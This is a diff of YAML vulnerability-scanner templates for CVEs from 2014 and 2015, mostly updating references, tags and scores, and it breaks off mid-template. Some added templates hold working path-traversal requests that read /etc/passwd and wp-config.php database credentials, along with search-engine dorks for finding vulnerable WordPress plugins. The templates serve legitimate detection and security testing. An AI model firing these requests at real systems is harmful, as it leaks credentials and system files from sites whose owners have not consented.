https://wpscan.com/vulnerability/72a5a0e1-e720-45a9-b9d4-ee3144939abb - https://nvd.nist.gov/vuln/detail/CVE-2014-4544 + - http://codevigilant.com/disclosure/wp-plugin-podcast-channels-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4544 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss + tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4550.yaml b/cves/2014/CVE-2014-4550.yaml index ea0eea4603..e9a6830b42 100644 --- a/cves/2014/CVE-2014-4550.yaml +++ b/cves/2014/CVE-2014-4550.yaml @@ -1,19 +1,22 @@ id: CVE-2014-4550 info: - name: Shortcode Ninja <= 1.4 - Unauthenticated Reflected Cross-Site Scripting + name: Shortcode Ninja <= 1.4 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter. reference: - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0 - https://nvd.nist.gov/vuln/detail/CVE-2014-4550 + - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4550 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss + metadata: + google-query: inurl:"/wp-content/plugins/shortcode-ninja" + tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4558.yaml b/cves/2014/CVE-2014-4558.yaml index db179433f6..1566035c02 100644 --- a/cves/2014/CVE-2014-4558.yaml +++ b/cves/2014/CVE-2014-4558.yaml @@ -1,19 +1,20 @@ id: CVE-2014-4558 info: - name: WooCommerce Swipe <= 2.7.1 - Unauthenticated Reflected Cross-Site Scripting + name: WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter. reference: - https://wpscan.com/vulnerability/37d7936a-165f-4c37-84a6-7ba5b59a0301 - https://nvd.nist.gov/vuln/detail/CVE-2014-4558 + - http://codevigilant.com/disclosure/wp-plugin-swipehq-payment-gateway-woocommerce-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4558 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss,woocommerce + tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,woocommerce,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4561.yaml b/cves/2014/CVE-2014-4561.yaml index 9308c5b025..878abafb7a 100644 --- a/cves/2014/CVE-2014-4561.yaml +++ b/cves/2014/CVE-2014-4561.yaml @@ -1,19 +1,20 @@ id: CVE-2014-4561 info: - name: Ultimate Weather Plugin <= 1.0 - Unauthenticated Reflected Cross-Site Scripting + name: Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting author: daffainfo severity: medium description: The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability. reference: - https://wpscan.com/vulnerability/5c358ef6-8059-4767-8bcb-418a45b2352d - https://nvd.nist.gov/vuln/detail/CVE-2014-4561 + - http://codevigilant.com/disclosure/wp-plugin-ultimate-weather-plugin-a3-cross-site-scripting-xss/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4561 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss,weather + tags: cve,cve2014,wordpress,wp-plugin,xss,weather,wpscan,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4592.yaml b/cves/2014/CVE-2014-4592.yaml index 75c8030033..35eb2a7082 100644 --- a/cves/2014/CVE-2014-4592.yaml +++ b/cves/2014/CVE-2014-4592.yaml @@ -1,19 +1,22 @@ id: CVE-2014-4592 info: - name: WP Planet <= 0.1 - Unauthenticated Reflected Cross-Site Scripting + name: WP Planet <= 0.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter. reference: - https://wpscan.com/vulnerability/3c9a3a97-8157-4976-8148-587d923e1fb3 - https://nvd.nist.gov/vuln/detail/CVE-2014-4592 + - http://codevigilant.com/disclosure/wp-plugin-wp-planet-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4592 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss + metadata: + google-query: inurl:"/wp-content/plugins/wp-planet" + tags: cve2014,wordpress,wp-plugin,xss,wpscan,cve,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4940.yaml b/cves/2014/CVE-2014-4940.yaml index 9fdac5089a..f485f7f869 100644 --- a/cves/2014/CVE-2014-4940.yaml +++ b/cves/2014/CVE-2014-4940.yaml @@ -7,8 +7,12 @@ info: description: Multiple directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-4940 + - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail= + - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/ classification: cve-id: CVE-2014-4940 + metadata: + google-query: inurl:"/wp-content/plugins/tera-charts" tags: cve,cve2014,wordpress,wp-plugin,lfi requests: diff --git a/cves/2014/CVE-2014-4942.yaml b/cves/2014/CVE-2014-4942.yaml new file mode 100644 index 0000000000..e1d2449c98 --- /dev/null +++ b/cves/2014/CVE-2014-4942.yaml @@ -0,0 +1,41 @@ +id: CVE-2014-4942 + +info: + name: WP EasyCart - Information Disclosure + author: DhiyaneshDk + severity: low + description: | + The EasyCart (wp-easycart) plugin before 2.0.6 for WordPress allows remote attackers to obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function. + reference: + - https://wpscan.com/vulnerability/64ea4135-eb26-4dea-a13f-f4c1deb77150 + - https://codevigilant.com/disclosure/wp-plugin-wp-easycart-information-disclosure + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4942 + - https://nvd.nist.gov/vuln/detail/CVE-2014-4942 + classification: + cve-id: CVE-2014-4942 + tags: wpscan,cve,cve2014,wordpress,wp-plugin,wp,phpinfo,disclosure + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "PHP Extension" + - "PHP Version" + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '>PHP Version <\/td>([0-9.]+)' diff --git a/cves/2014/CVE-2014-5111.yaml b/cves/2014/CVE-2014-5111.yaml index 14bdc7cf05..66b9614ad2 100644 --- a/cves/2014/CVE-2014-5111.yaml +++ b/cves/2014/CVE-2014-5111.yaml @@ -8,9 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/39351 - https://nvd.nist.gov/vuln/detail/CVE-2014-5111 + - http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html classification: cve-id: CVE-2014-5111 - tags: cve,cve2014,lfi,trixbox + tags: packetstorm,cve,cve2014,lfi,trixbox,edb requests: - method: GET diff --git a/cves/2014/CVE-2014-5258.yaml b/cves/2014/CVE-2014-5258.yaml index 3179b75dc8..e1fefd393a 100644 --- a/cves/2014/CVE-2014-5258.yaml +++ b/cves/2014/CVE-2014-5258.yaml @@ -8,9 +8,11 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-5258 - https://www.exploit-db.com/exploits/34761 + - http://packetstormsecurity.com/files/128301/webEdition-6.3.8.0-Path-Traversal.html + - http://www.webedition.org/de/webedition-cms/versionshistorie/webedition-6/version-6.3.9.0 classification: cve-id: CVE-2014-5258 - tags: cve,cve2014,lfi + tags: edb,packetstorm,cve,cve2014,lfi requests: - method: GET diff --git a/cves/2014/CVE-2014-5368.yaml b/cves/2014/CVE-2014-5368.yaml index c116159bd6..9c05358fa2 100644 --- a/cves/2014/CVE-2014-5368.yaml +++ b/cves/2014/CVE-2014-5368.yaml @@ -8,10 +8,12 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-5368 - https://www.exploit-db.com/exploits/39287 - - https://www.cvedetails.com/cve/CVE-2014-5368 + - http://seclists.org/oss-sec/2014/q3/417 classification: cve-id: CVE-2014-5368 - tags: cve,cve2014,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/wp-source-control" + tags: cve,cve2014,wordpress,wp-plugin,lfi,edb,seclists requests: - method: GET diff --git a/cves/2014/CVE-2014-6271.yaml b/cves/2014/CVE-2014-6271.yaml index 6af4f83381..c7a2413d59 100644 --- a/cves/2014/CVE-2014-6271.yaml +++ b/cves/2014/CVE-2014-6271.yaml @@ -4,9 +4,7 @@ info: name: ShellShock - Remote Code Execution author: pentest_swissky,0xelkomy severity: critical - description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, - as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in - which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock. + description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-6271 - https://nvd.nist.gov/vuln/detail/CVE-2014-7169 @@ -17,7 +15,7 @@ info: cvss-score: 9.8 cve-id: CVE-2014-6271 cwe-id: CWE-78 - tags: cve,cve2014,rce,shellshock + tags: cve,cve2014,rce,shellshock,kev requests: - method: GET diff --git a/cves/2014/CVE-2014-6308.yaml b/cves/2014/CVE-2014-6308.yaml index 96a285cbc2..2664ce9906 100644 --- a/cves/2014/CVE-2014-6308.yaml +++ b/cves/2014/CVE-2014-6308.yaml @@ -8,9 +8,11 @@ info: reference: - https://packetstormsecurity.com/files/128285/OsClass-3.4.1-Local-File-Inclusion.html - https://nvd.nist.gov/vuln/detail/CVE-2014-6308 + - https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435 + - https://www.netsparker.com/lfi-vulnerability-in-osclass/ classification: cve-id: CVE-2014-6308 - tags: cve,cve2014,lfi + tags: cve,cve2014,lfi,packetstorm requests: - method: GET diff --git a/cves/2014/CVE-2014-8676.yaml b/cves/2014/CVE-2014-8676.yaml new file mode 100644 index 0000000000..67fadfeeb3 --- /dev/null +++ b/cves/2014/CVE-2014-8676.yaml @@ -0,0 +1,34 @@ +id: CVE-2014-8676 + +info: + name: Simple Online Planning Tool 1.3.2 - Directory Traversal + author: 0x_Akoko + severity: medium + description: | + Directory traversal vulnerability in the file_get_contents function in SOPlanning 1.32 and earlier allows remote attackers to determine the existence of arbitrary files via a .. (dot dot) in a URL path parameter. + reference: + - https://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2014-8676 + - https://www.exploit-db.com/exploits/37604/ + - http://seclists.org/fulldisclosure/2015/Jul/44 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2014-8676 + cwe-id: CWE-22 + tags: packetstorm,edb,seclists,cve,cve2014,soplanning,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/cves/2014/CVE-2014-8682.yaml b/cves/2014/CVE-2014-8682.yaml index 604d129461..eecb69f728 100644 --- a/cves/2014/CVE-2014-8682.yaml +++ b/cves/2014/CVE-2014-8682.yaml @@ -3,23 +3,23 @@ id: CVE-2014-8682 info: name: Gogs (Go Git Service) - SQL Injection author: dhiyaneshDK,daffainfo - severity: high + severity: critical description: Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-8682 - http://seclists.org/fulldisclosure/2014/Nov/33 - http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html - https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d - - http://www.exploit-db.com/exploits/35238 + - https://www.exploit-db.com/exploits/35238 - https://exchange.xforce.ibmcloud.com/vulnerabilities/98694 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-score: 10 cve-id: CVE-2014-8682 cwe-id: CWE-89 metadata: shodan-query: title:"Sign In - Gogs" - tags: cve,cve2014,sqli,gogs + tags: gogs,seclists,packetstorm,edb,cve,cve2014,sqli requests: - method: GET diff --git a/cves/2014/CVE-2014-8799.yaml b/cves/2014/CVE-2014-8799.yaml index 552634c3a9..68735c8d03 100644 --- a/cves/2014/CVE-2014-8799.yaml +++ b/cves/2014/CVE-2014-8799.yaml @@ -8,10 +8,12 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-8799 - https://www.exploit-db.com/exploits/35346 - - https://www.cvedetails.com/cve/CVE-2014-8799 + - https://wordpress.org/plugins/dukapress/changelog/ classification: cve-id: CVE-2014-8799 - tags: cve,cve2014,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/dukapress" + tags: cve,cve2014,wordpress,wp-plugin,lfi,edb requests: - method: GET diff --git a/cves/2014/CVE-2014-9094.yaml b/cves/2014/CVE-2014-9094.yaml index e792ca4df3..a28b8785e1 100644 --- a/cves/2014/CVE-2014-9094.yaml +++ b/cves/2014/CVE-2014-9094.yaml @@ -1,15 +1,20 @@ id: CVE-2014-9094 info: - name: WordPress DZS-VideoGallery Plugin Reflected Cross-Site Scripting + name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-9094 + - http://websecurity.com.ua/7152/ + - http://seclists.org/fulldisclosure/2014/Jul/65 + - http://web.archive.org/web/20210615134835/https://www.securityfocus.com/bid/68525 classification: cve-id: CVE-2014-9094 - tags: cve,cve2014,wordpress,xss,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/dzs-videogallery" + tags: cve2014,wordpress,xss,wp-plugin,seclists,cve requests: - method: GET diff --git a/cves/2014/CVE-2014-9119.yaml b/cves/2014/CVE-2014-9119.yaml new file mode 100644 index 0000000000..eea1760029 --- /dev/null +++ b/cves/2014/CVE-2014-9119.yaml @@ -0,0 +1,39 @@ +id: CVE-2014-9119 + +info: + name: WordPress DB Backup <=4.5 - Local File Inclusion + author: dhiyaneshDK + severity: high + description: | + WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks. + reference: + - https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536 + - https://www.exploit-db.com/exploits/35378 + - https://nvd.nist.gov/vuln/detail/CVE-2014-9119 + - https://wpvulndb.com/vulnerabilities/7726 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2014-9119 + cwe-id: CWE-22 + tags: lfi,cve,cve2014,wordpress,wp-plugin,wp,backup,wpscan,edb + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "DB_NAME" + - "DB_PASSWORD" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/cves/2014/CVE-2014-9444.yaml b/cves/2014/CVE-2014-9444.yaml index deab40780a..948b7d93e2 100644 --- a/cves/2014/CVE-2014-9444.yaml +++ b/cves/2014/CVE-2014-9444.yaml @@ -1,16 +1,18 @@ id: CVE-2014-9444 info: - name: Frontend Uploader <= 0.9.2 - Unauthenticated Cross-Site Scripting + name: Frontend Uploader <= 0.9.2 - Cross-Site Scripting author: daffainfo severity: medium description: The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability. reference: - https://wpscan.com/vulnerability/f0739b1e-22dc-4ca6-ad83-a0e80228e3c7 - https://nvd.nist.gov/vuln/detail/CVE-2014-9444 + - http://packetstormsecurity.com/files/129749/WordPress-Frontend-Uploader-0.9.2-Cross-Site-Scripting.html + - http://web.archive.org/web/20210122092924/https://www.securityfocus.com/bid/71808/ classification: cve-id: CVE-2014-9444 - tags: cve,cve2014,wordpress,wp-plugin,xss + tags: wp-plugin,xss,wpscan,packetstorm,cve,cve2014,wordpress,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-9606.yaml b/cves/2014/CVE-2014-9606.yaml index db4a35b332..615077835d 100644 --- a/cves/2014/CVE-2014-9606.yaml +++ b/cves/2014/CVE-2014-9606.yaml @@ -4,18 +4,17 @@ info: name: Netsweeper 4.0.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server - parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, - or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/. + description: Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9606 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-9606 cwe-id: CWE-79 - tags: cve,cve2014,netsweeper,xss + tags: cve2014,netsweeper,xss,packetstorm,cve requests: - method: GET diff --git a/cves/2014/CVE-2014-9607.yaml b/cves/2014/CVE-2014-9607.yaml index 7913450fef..676c2def0f 100644 --- a/cves/2014/CVE-2014-9607.yaml +++ b/cves/2014/CVE-2014-9607.yaml @@ -8,12 +8,13 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9607 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-9607 cwe-id: CWE-79 - tags: cve,cve2014,netsweeper,xss + tags: packetstorm,cve,cve2014,netsweeper,xss requests: - method: GET diff --git a/cves/2014/CVE-2014-9608.yaml b/cves/2014/CVE-2014-9608.yaml index f74ea0e5e3..b7bce998a1 100644 --- a/cves/2014/CVE-2014-9608.yaml +++ b/cves/2014/CVE-2014-9608.yaml @@ -8,12 +8,13 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9608 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-9608 cwe-id: CWE-79 - tags: cve,cve2014,netsweeper,xss + tags: cve,cve2014,netsweeper,xss,packetstorm requests: - method: GET diff --git a/cves/2014/CVE-2014-9609.yaml b/cves/2014/CVE-2014-9609.yaml index d60e570b1a..a3be2897e2 100644 --- a/cves/2014/CVE-2014-9609.yaml +++ b/cves/2014/CVE-2014-9609.yaml @@ -8,12 +8,13 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9609 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2014-9609 cwe-id: CWE-22 - tags: cve,cve2014,netsweeper,lfi + tags: cve2014,netsweeper,lfi,packetstorm,cve requests: - method: GET diff --git a/cves/2014/CVE-2014-9614.yaml b/cves/2014/CVE-2014-9614.yaml index 264c7870d3..0936e0766c 100644 --- a/cves/2014/CVE-2014-9614.yaml +++ b/cves/2014/CVE-2014-9614.yaml @@ -8,12 +8,13 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9614 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-9614 cwe-id: CWE-798 - tags: cve,cve2021,netsweeper,default-login + tags: cve,cve2014,netsweeper,default-login,packetstorm requests: - raw: diff --git a/cves/2014/CVE-2014-9615.yaml b/cves/2014/CVE-2014-9615.yaml index 1cf501ffc1..f787e8a2b6 100644 --- a/cves/2014/CVE-2014-9615.yaml +++ b/cves/2014/CVE-2014-9615.yaml @@ -8,12 +8,13 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9615 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-9615 cwe-id: CWE-79 - tags: cve,cve2014,netsweeper,xss + tags: cve,cve2014,netsweeper,xss,packetstorm requests: - method: GET diff --git a/cves/2014/CVE-2014-9617.yaml b/cves/2014/CVE-2014-9617.yaml index fadd68557c..f5ce9ecdde 100644 --- a/cves/2014/CVE-2014-9617.yaml +++ b/cves/2014/CVE-2014-9617.yaml @@ -8,22 +8,23 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9617 + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-9617 cwe-id: CWE-601 - tags: cve,cve2014,netsweeper,redirect + tags: cve,cve2014,netsweeper,redirect,packetstorm requests: - method: GET path: - - "{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://example.com/" + - "{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' # Enhanced by mp on 2022/02/25 diff --git a/cves/2014/CVE-2014-9618.yaml b/cves/2014/CVE-2014-9618.yaml index 5dc89cf317..7ae682bc94 100644 --- a/cves/2014/CVE-2014-9618.yaml +++ b/cves/2014/CVE-2014-9618.yaml @@ -9,12 +9,14 @@ info: reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9618 + - https://www.exploit-db.com/exploits/37933/ + - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-9618 cwe-id: CWE-287 - tags: cve,cve2014,netsweeper,auth-bypass + tags: cve2014,netsweeper,auth-bypass,packetstorm,edb,cve requests: - method: GET diff --git a/cves/2015/CVE-2015-0554.yaml b/cves/2015/CVE-2015-0554.yaml index 7c0b5ddbbe..4689e2f4d3 100644 --- a/cves/2015/CVE-2015-0554.yaml +++ b/cves/2015/CVE-2015-0554.yaml @@ -1,16 +1,18 @@ id: CVE-2015-0554 info: - name: Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure + name: ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure author: daffainfo severity: high - description: The ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html. + description: ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html. reference: - https://www.exploit-db.com/exploits/35721 + - http://packetstormsecurity.com/files/129828/Pirelli-ADSL2-2-Wireless-Router-P.DGA4001N-Information-Disclosure.html - https://nvd.nist.gov/vuln/detail/CVE-2015-0554 + - http://www.exploit-db.com/exploits/35721 classification: cve-id: CVE-2015-0554 - tags: cve,cve2015,pirelli,router,disclosure + tags: pirelli,router,disclosure,edb,packetstorm,cve,cve2015 requests: - method: GET @@ -30,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/vulnerabilities/wordpress/candidate-application-lfi.yaml b/cves/2015/CVE-2015-1000005.yaml similarity index 56% rename from vulnerabilities/wordpress/candidate-application-lfi.yaml rename to cves/2015/CVE-2015-1000005.yaml index cdc97aa53a..d3f55c2a08 100644 --- a/vulnerabilities/wordpress/candidate-application-lfi.yaml +++ b/cves/2015/CVE-2015-1000005.yaml @@ -1,17 +1,21 @@ -id: candidate-application-lfi +id: CVE-2015-1000005 info: name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion author: dhiyaneshDK severity: high - description: WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks. + description: | + WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks. reference: - https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0 + - https://nvd.nist.gov/vuln/detail/CVE-2015-1000005 + - http://www.vapidlabs.com/advisory.php?v=142 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-1000005 cwe-id: CWE-22 - tags: wordpress,wp-plugin,lfi,wp + tags: wpscan,cve,cve2015,wordpress,wp-plugin,lfi,wp requests: - method: GET diff --git a/cves/2015/CVE-2015-1000010.yaml b/cves/2015/CVE-2015-1000010.yaml new file mode 100644 index 0000000000..20be79142a --- /dev/null +++ b/cves/2015/CVE-2015-1000010.yaml @@ -0,0 +1,36 @@ +id: CVE-2015-1000010 + +info: + name: 